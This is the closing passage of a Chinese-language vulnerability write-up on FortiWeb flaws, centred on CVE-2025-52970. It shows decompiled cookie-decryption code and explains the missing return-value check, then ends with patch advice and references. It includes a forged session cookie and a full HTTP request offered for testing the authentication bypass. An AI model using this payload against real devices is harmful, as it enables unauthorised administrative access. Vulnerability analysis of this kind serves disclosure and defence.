char *src; // [rsp+30h] [rbp-1190h]
char *ptr; // [rsp+38h] [rbp-1188h]
signed int v20; // [rsp+40h] [rbp-1180h] BYREF
_DWORD n[3]; // [rsp+44h] [rbp-117Ch] BYREF
size_t v22; // [rsp+50h] [rbp-1170h] BYREF
size_t v23; // [rsp+58h] [rbp-1168h] BYREF
_BYTE v24[32]; // [rsp+60h] [rbp-1160h] BYREF
char v25[32]; // [rsp+80h] [rbp-1140h] BYREF
char dest[96]; // [rsp+A0h] [rbp-1120h] BYREF
char v27[128]; // [rsp+100h] [rbp-10C0h] BYREF
char v28[4104]; // [rsp+180h] [rbp-1040h] BYREF
unsigned __int64 v29; // [rsp+1188h] [rbp-38h]

v29 = __readfsqword(0x28u);
if ( a1
&& (n[0] = 21,
v1 = strlen((const char *)a1) + 1,
v17 = v1,
sub_1C7040(),
snprintf(v27, 0x80uLL, "Era=%%1d&Payload=%%%zd[^&]&AuthHash=%%%zds", 0x1000uLL, 0x52uLL),
(unsigned int)__isoc23_sscanf(a1, v27, &v20, v28, dest) == 3)
&& (src = (char *)calloc(v1, 1uLL)) != 0LL )
{
if ( (unsigned int)v20 <= 1
&& (sub_1C6F80(dest),
sub_1C6F80(v28),
v2 = strlen(dest),
v3 = strlen(v28),
v4 = (char *)malloc(v3 + 1),
*(_QWORD *)&n[1] = v3,
(ptr = v4) != 0LL) )
{
v5 = EVP_ENCODE_CTX_new();
v6 = v5;
if ( v5 )
{
EVP_DecodeInit(v5);
v23 = n[0];
if ( (int)EVP_DecodeUpdate(v6, v24, n, dest, (unsigned int)v2) < 0 )
goto LABEL_25;
v23 -= n[0];
if ( (int)EVP_DecodeFinal(v6, &v24[n[0]]) < 0 )
goto LABEL_25;
n[0] += v23;
if ( v2 < n[0] )
__assert_fail("md_len <= b64_md_len", "cookie_wrap.c", 0x160u, "cookieval_unwrap");
EVP_DecodeInit(v6);
v22 = *(_QWORD *)&n[1];
if ( (int)EVP_DecodeUpdate(v6, ptr, &n[1], v28, (unsigned int)v3) < 0 )
goto LABEL_25;
v22 -= *(_QWORD *)&n[1];
if ( (int)EVP_DecodeFinal(v6, &ptr[*(_QWORD *)&n[1]]) < 0 )
goto LABEL_25;
v7 = *(_QWORD *)&n[1] + v22;
*(_QWORD *)&n[1] = v7;
if ( v3 < v7 )
__assert_fail("des_len <= b64_des_len", "cookie_wrap.c", 0x16Fu, "cookieval_unwrap");
v8 = nCfg_debug_zone + 32LL * v20 + 104256;
v9 = EVP_sha1();
if ( HMAC(v9, v8, 32LL, ptr, v7) && (v10 = memcmp(v24, v25, n[0])) == 0 && (v11 = EVP_CIPHER_CTX_new()) != 0 )
{
v22 = v17;
v23 = v17;
EVP_CIPHER_CTX_reset(v11);
v12 = nCfg_debug_zone;
s2 = (void *)(nCfg_debug_zone + 32LL * v20 + 104256);
v13 = EVP_des_ede3_cbc();
EVP_DecryptInit(v11, v13, s2, (char *)&stru_19780 + v12);
if ( (unsigned int)EVP_DecryptUpdate(v11, src, &v22, ptr, n[1])
&& (v23 -= v22, (unsigned int)EVP_DecryptFinal(v11, &src[v22], &v23)) )
{
v14 = v22 + v23;
v22 = v14;
if ( v14 >= v17 )
__assert_fail("cv_unwrapped_len < cv_unwrapped_size", "cookie_wrap.c", 0x195u, "cookieval_unwrap");
memcpy(a1, src, v14);
}
else
{
v10 = -1;
}
EVP_CIPHER_CTX_free(v11);
}
else
{
LABEL_25:
v10 = -1;
}
EVP_ENCODE_CTX_free(v6);
}
else
{
v10 = -1;
}
free(ptr);
}
else
{
v10 = -1;
free(0LL);
}
}
else
{
v10 = -1;
src = 0LL;
free(0LL);
}
free(src);
return v10;
}

在这个版本中,代码在获取了 Era 参数之后,会限制 0 <= Era <= 1,并且在初始化随机数时会调用两次 get_rnd_bytes,看起来似乎没有问题了。

但正常来说调用了 cookieval_unwrap 函数后,如果解密 Cookie 失败,此函数会返回 -1,调用方需要检查函数的返回值确保数据解密失败及时退出,但在 7.6.4 & 7.6.5 版本中,ApacheCookie_parse 函数调用 cookieval_unwrap 之后并没有检查其返回值,导致攻击者可以直接传入类似:

1
Cookie: APSCOOKIE_FWEB_8672793038565212270=3376695600&FVVM00UNLICENSED&admin&644972882&47&admin&prof_admin&root&AbcXXYJMW&0&0;

格式的数据来跳过解密逻辑,直接进入后续的 session 验证流程,也就无需一个越界读取漏洞了。你可以用下面的请求来测试:

1
2
3
4
5
6
GET /api/v2.0/system/admintimeout.extend HTTP/1.1
Host: 192.168.66.100
Cookie: APSCOOKIE_FWEB_8672793038565212270=3376695600&FVVM00UNLICENSED&admin&644972882&48&admin&prof_admin&root&AbcXXYJMW&0&0;
Connection: close


总的来说,CVE-2025-52970 理论上可以用于伪造 Session 信息并登录系统,但需要满足条件:

  1. 攻击者知道目标设备的序列号。
  2. 在发起攻击时,需要有管理员用户在线。

这两个条件相对比较复杂,因此 Fortinet 给这个漏洞的评分为 CVSSV3 7.7。另外本文复现的前两个漏洞存在在野利用,建议使用 FortiWeb 系统的用户尽快应用官方提供的补丁。

参考文章

https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/

https://x.com/defusedcyber/status/1975242250373517373

https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/

https://pwner.gg/blog/2025-08-13-fortiweb-cve-2025-52970

https://fortiguard.fortinet.com/psirt/FG-IR-25-448

https://fortiguard.fortinet.com/psirt/FG-IR-25-910

  • Title: CVE-2025-64446 & 其它漏洞
  • Author: Catalpa
  • Created at : 2025-11-19 00:00:00
  • Updated at : 2025-11-19 18:10:55
  • Link: https://wzt.ac.cn/2025/11/19/CVE-2025-64446/
  • License: This work is licensed under CC BY-SA 4.0.